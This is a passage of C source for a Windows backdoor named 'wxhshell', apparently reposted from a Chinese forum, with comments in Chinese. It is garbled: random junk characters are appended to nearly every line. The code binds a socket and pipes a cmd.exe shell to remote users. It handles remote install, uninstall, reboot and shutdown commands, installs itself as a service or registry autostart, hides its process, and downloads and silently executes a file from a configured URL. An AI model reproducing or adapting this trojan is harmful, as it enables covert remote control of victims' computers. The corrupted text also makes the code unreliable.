,c#=qb8""  
    switch(cmd[0]) { {%ZD ^YSA  
  @sRUl ,M;Z  
  // 帮助 8r7~ >p~  
  case '?': { 1H{M0e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |'xVU8  
    break; RfVVAaI  
  } e$M \HPc  
  // 安装 =^m,|j|d>4  
  case 'i': { Ai&-W  
    if(Install()) fJ_d ,4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TQyi -Dc  
    else GE]cH6E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Jd ('r  
    break; s*.CJ  
    } kYBy\  
  // 卸载 S3rN]!B+  
  case 'r': { rnvKfTpZDU  
    if(Uninstall()) 1'wwwxe7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O`_!G`E  
    else WZ @/'[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nf(Np1?;c  
    break; bM[!E8dF  
    } c+:LDc3!Gb  
  // 显示 wxhshell 所在路径 @giJ&3S,  
  case 'p': { e|)6zh<O:  
    char svExeFile[MAX_PATH]; =~M%zdIXv  
    strcpy(svExeFile,"\n\r"); jU\vg;nr  
      strcat(svExeFile,ExeFile); qP6 YnJWl  
        send(wsh,svExeFile,strlen(svExeFile),0); $\BRX\6(-  
    break; a g Za+a  
    } $I40 hk  
  // 重启 V7}5Zw1  
  case 'b': { nA:\G":\y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j{00iA}  
    if(Boot(REBOOT)) 2%Bq[SMuN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ig9yd S-.  
    else { 4 [2^#t[  
    closesocket(wsh); bqjj6bf'o  
    ExitThread(0); #jdo54-  
    } T~B'- >O  
    break; )c vA}U.z  
    } !Z +4FwF  
  // 关机 qI-q%]l  
  case 'd': { Rv R ,V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2n}nRv/'  
    if(Boot(SHUTDOWN)) 29P vPR6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ul@ Jg    
    else { N<bNJD}  
    closesocket(wsh); axT-  
    ExitThread(0); c5~d^  
    } 3,qq\gxB  
    break; iwb]mJUA  
    } lLD-QO}/  
  // 获取shell " jefB6k9h  
  case 's': { -~z]ut<Z  
    CmdShell(wsh); -P!_<\q\l  
    closesocket(wsh); Yv0;UKd  
    ExitThread(0); _y~H#r9:  
    break; XI6LPA0%  
  } XRU^7@Ylks  
  // 退出 Vg1! u+`<  
  case 'x': { 2I!STP{!l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x!rHkuH~  
    CloseIt(wsh); "X/cG9Lw  
    break; Zkn$D:  
    } "52nT  
  // 离开 ).+!/x  
  case 'q': { <.c@l,[.z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @D.]PZf  
    closesocket(wsh); FS.z lk\D=  
    WSACleanup(); gemjLuf  
    exit(1); .\*3t/R=X  
    break; _E({!t"`  
        } JM8 s]&  
  } ;bJ2miO"e  
  } !6:q#B*  
!X 3/2KRP7  
  // 提示信息 [oOA@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6MC*2}W  
} 6km{= ```  
  } I+ipTeB^  
j[/'`1tOe  
  return; x~."P*5  
} PPCZT3c=  
q9n0bw^N  
// shell模块句柄  YM9oVF-  
int CmdShell(SOCKET sock) A[juzOn\  
{ h3^ &,U  
STARTUPINFO si; -la~p~8  
ZeroMemory(&si,sizeof(si)); U:]b&I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q?C)5(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K7&A^$`  
PROCESS_INFORMATION ProcessInfo; xN t  
char cmdline[]="cmd"; tMaJ; 4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 02]9 OnWw  
  return 0; )=\W sQ  
} UXB[3SP  
@Kri)U i  
// 自身启动模式 k fx<T  
int StartFromService(void) Z-m,~Hh  
{ [P*3ld,,G%  
typedef struct ZIAiVq2)  
{ g0.D36  
  DWORD ExitStatus; YBgHX [q  
  DWORD PebBaseAddress; F<q3{}1zR  
  DWORD AffinityMask; pk'@!|g%=  
  DWORD BasePriority; Y^gK^ ?K  
  ULONG UniqueProcessId; C]UBu-]#S  
  ULONG InheritedFromUniqueProcessId; LX.1]T*m`  
}   PROCESS_BASIC_INFORMATION; 6l#1E#]|  
fSp(}'m2L  
PROCNTQSIP NtQueryInformationProcess; 3mn0  
JWG7QH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pt8X.f,iA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zx\N^R;Jq  
:>lica_  
  HANDLE             hProcess; v>Il #  
  PROCESS_BASIC_INFORMATION pbi; F2y M2Ldx  
>Uvtsj#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,eRl Z3T  
  if(NULL == hInst ) return 0; Yt*M|0bL  
RIX0AE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iUh_rX9A"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ms ?V1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RVfRGc^lK  
S[UHx}.  
  if (!NtQueryInformationProcess) return 0; {Ny\9r  
&)Z8Qu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1Qf21oN{  
  if(!hProcess) return 0; k>{i_`*  
=S@$"_&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kP%W:4l0  
ua:.97~Ym  
  CloseHandle(hProcess); CGg:e:4  
|6B:tw/.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 32:,g4!~6  
if(hProcess==NULL) return 0; W0$G 7 s  
:EyH'v  
HMODULE hMod; pooi8" G  
char procName[255]; :^kP?  
unsigned long cbNeeded; <C6/R]x#  
lg;Y}?P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `<t{NJ&f  
'O`jV0aa'  
  CloseHandle(hProcess); ;:*o P(9k  
{549&]/o  
if(strstr(procName,"services")) return 1; // 以服务启动 "}K/ b  
BmrP]3W?  
  return 0; // 注册表启动 }Iub{30mp  
} 8BNsh[+  
^Gv<Xl  
// 主模块 sVkR7 ^KsG  
int StartWxhshell(LPSTR lpCmdLine) XrC{{K  
{ {R8Q`2R  
  SOCKET wsl; Wnl8XHPn  
BOOL val=TRUE; !5`}s9hsF_  
  int port=0; *cp|lW!ag  
  struct sockaddr_in door; #2DH_P  
z/fRd6|[  
  if(wscfg.ws_autoins) Install(); @.*[CC;&  
~<, \=;b/  
port=atoi(lpCmdLine); vFb{(gIJ  
[CPZj*|b  
if(port<=0) port=wscfg.ws_port; }p t5.'l  
8)rv.'A((E  
  WSADATA data; (Wq9YDD@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; joDfvY*[  
6Epns s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =[{Pw8['  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q22cp&gmX  
  door.sin_family = AF_INET; 5?;'26iC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z9HQFRbo[  
  door.sin_port = htons(port); dGIu0\J\$  
X 3L9j(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3N+P~v)T'  
closesocket(wsl); EFql g9bK  
return 1; jT: :o  
} (6+6]`c$  
8fM}UZI  
  if(listen(wsl,2) == INVALID_SOCKET) { @hzQk~Gdi  
closesocket(wsl); `4}!+fXQ  
return 1; 'VJMi5Y(-  
} gn%#2:=pVu  
  Wxhshell(wsl); (dMFYL>YP  
  WSACleanup(); -(cm  
%hrv~=  
return 0; 9^a>U(,  
7v,>sX  
} XOqpys  
m9G,%]4|  
// 以NT服务方式启动 A^,(Vyd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8~HC0o\2  
{ \)M 5o  
DWORD   status = 0; Z~?:r  
  DWORD   specificError = 0xfffffff; B10p7+NBF  
)sV# b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TdKl`"Iy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h*MR5qa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "[[fQpe4@  
  serviceStatus.dwWin32ExitCode     = 0; e982IP  
  serviceStatus.dwServiceSpecificExitCode = 0; nrt0[E-&~  
  serviceStatus.dwCheckPoint       = 0; l42m81x"  
  serviceStatus.dwWaitHint       = 0; yFpHRfF}  
w|L~+   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !'{j"tv  
  if (hServiceStatusHandle==0) return; rB4#}+Uq  
.qK=lHxT  
status = GetLastError(); ?>%u[g   
  if (status!=NO_ERROR) k5/nAaiVE  
{ %+I(S`}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k2t?e:)3zr  
    serviceStatus.dwCheckPoint       = 0; w:Lu  
    serviceStatus.dwWaitHint       = 0; _23sIUN c3  
    serviceStatus.dwWin32ExitCode     = status; ;*Rajq  
    serviceStatus.dwServiceSpecificExitCode = specificError; NWAF4i&$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xx'>5d>  
    return; y5Pw*?kn  
  } gE ,j\M*  
h5f>'l z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a^=4 '.ok  
  serviceStatus.dwCheckPoint       = 0; l4/TJ%`MG  
  serviceStatus.dwWaitHint       = 0; `|/|ej]$P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "^XN"SUw  
} Q}=RG//0*  
3Aj_,&X.@(  
// 处理NT服务事件,比如:启动、停止 c%Gz{':+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zr[~wM  
{ 19N:9;Ixz  
switch(fdwControl) xJ"Zg]d{  
{ /ruf1?\,R  
case SERVICE_CONTROL_STOP: 6~!YEuA  
  serviceStatus.dwWin32ExitCode = 0; 4X\*kF%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ]Ea7b  
  serviceStatus.dwCheckPoint   = 0; JxLH]1b  
  serviceStatus.dwWaitHint     = 0; XS!ZTb>[  
  { 6pLwwZD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :mJM=FeJ  
  } $U8ap4EXM  
  return; j2P|cBXu  
case SERVICE_CONTROL_PAUSE: +%<Jr<~W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;9I#>u  
  break; N Dg]s2T  
case SERVICE_CONTROL_CONTINUE: E{fnh50^Q.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W@ Z=1y  
  break; ,Tz ,)rY  
case SERVICE_CONTROL_INTERROGATE: Z~c7r n  
  break; {30<Vc=  
}; YSwD#jO0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =#^dG ''*"  
} 0sUc6_>e  
<Z__Q  
// 标准应用程序主函数 ib&qH_r/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xaS  
{ v'>Yc#VJ  
E, v1F!  
// 获取操作系统版本 l3afuD :  
OsIsNt=GetOsVer(); m[bu(qz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V")Q4h{  
F0JFx$AoD  
  // 从命令行安装 ]OrFW4tiE  
  if(strpbrk(lpCmdLine,"iI")) Install(); r{TNPa6!  
,9pi9\S  
  // 下载执行文件 )KuvG:+9W  
if(wscfg.ws_downexe) { ?oJ~3K g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5&kR1Bp#-  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q&#:M>!|  
} sy`s$E d!  
+|H'I j$  
if(!OsIsNt) { ~ZNhU;%YW  
// 如果时win9x,隐藏进程并且设置为注册表启动 wMUnZHd{|  
HideProc(); C\; 8l}t  
StartWxhshell(lpCmdLine); ^0&] .m  
} C49 G&  
else Sy'>JHx  
  if(StartFromService()) [>:gwl _\  
  // 以服务方式启动 8$vH&Hd I  
  StartServiceCtrlDispatcher(DispatchTable); bpx=&74,6m  
else KCT8Q!\  
  // 普通方式启动 G;m"ao"2  
  StartWxhshell(lpCmdLine); ul%bo%&~  
l xfdJNb  
return 0; #TWc` 8  
}
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只看该作者 1 发表于: 2006-10-10
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